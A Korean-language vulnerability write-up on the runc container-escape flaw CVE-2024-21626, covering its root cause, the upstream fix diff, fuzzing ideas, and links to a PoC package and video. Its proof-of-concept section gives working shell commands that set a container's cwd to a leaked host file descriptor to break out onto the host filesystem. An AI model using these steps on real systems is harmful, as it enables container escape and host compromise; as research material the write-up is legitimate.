CVE-2024-21626

Root cuase & Proof Of Code

How to use poc-autoplay?

make install

make uninstall

1. Root cause

• runc v1.1.11 버전 이하에서 cgroup을 설정하기 위해 호스트의 /sys/fs/cgroup 디렉토리를 여는 과정에서 해당 파일 디스크립터를 컨테이너 초기화 프로세스에 닫지 않고 남겨둬서 해당 취약점이 발생한다.

1. runc init 단계에서 호스트의 /sys/fs/cgroup을 통해 /proc/{PID}/fd/7 획득.
2. 해당 fd를 닫지 않은 채 컨테이너 PID 1을 fork/exec.
3. runc의 spec 또는 runc exec —cwd 옵션에서 작업 디렉토리(cwd)를 위에서 획득한 /proc/self/fd/7/ 처럼 공격자가 제어하는 경로로 지정.
4. chdir 이후, PID 1의 cwd가 컨테이너의 rootfs 밖으로 이동.
5. 컨테이너 내부 프로세스가 호스트 파일 시스템에 접근하거나 수정이 가능해지면서 Container escape가 됨을 확인.

--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
        "net"
        "os"
        +    "path/filepath"
        "runtime"
        "runtime/debug"
        "strconv"
        @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
        return nil
        }

        +// verifyCwd ensures that the current working directory is still inside
        +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
         // it indicates the cwd is outside the container.
         // See CVE-2024-21626.
        +func verifyCwd() error {
        +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
        +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
        +   } else if err != nil {
        +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
        +   } else if !filepath.IsAbs(wd) {
            +       // Sanity check: cwd should always be absolute
                +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
                +   }
        +   return nil
            +}

            @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
                if err := system.ClearKeepCaps(); err != nil {
                    return fmt.Errorf("unable to clear keep caps: %w", err)
                }
                +    // After chdir to config.Cwd, ensure it’s still inside the container
                    +    if err := verifyCwd(); err != nil {
                        +        return err
                            +    }
                return nil
            }

• chdir 직후에 cwd를 검증하는 로직이 추가되었다.
• libcontainer/init_linux.go 에서 verifyCwd() 함수를 추가해서, chdir 이후 cwd가 여전히 컨테이너 내부인지 확인 후 err 발생 여부를 정한다.
• 유출된 파일 디스크립터를 전부 닫는 로직이 추가되었다.
• 최종 execve 직전에 모든 내부용 fd를 닫도록 하여, 호스트 fd가 컨테이너 프로세세스에 남아있지 않도록 했다.

2. Proof of Concept

• Environment

    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)

• Exploit via runc itself

    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"

도커 내부에서 로컬의 / 경로에서 시작.

• 컨테이너 생성 시 working directory를 특정 파일 디스크립터로 설정해야 한다. 호스트의 열린 fd와 컨테이너 내부의 fd가 연결되어 docker escape가 가능해진다.

• PoC file -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing

- make install, make uninstall

• PoC MP4 -> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. How can this vulnerability be fuzzed?

• 해당 취약한 runc 바이너리에 대하여 go-fuzz를 진행하는 방식.
• 취약 함수인 finalizeNamespace() 내부의 chdir(config.Cwd) 처리 부분을 대상으로 무작위 OCI config를 입력값으로 주는 방식으로 할 수 있다.
• 해당 방식으로 chdir 이후 cwd에서 상대경로로 예외처리 혹은 크래시 부분을 분석하면 될 것 같다.
• 취약 버전 runc 바이너리를 대상으로 AFL++로 진행하는 방식.
• OCI spec JSON과 runc CLI Argument를 퍼징하는 방식이다.
• OCI spec JSON에서 cwd 부분을 타겟으로 chdir 지점에서 발생하는 크래시를 분석 하면 될 것 같다.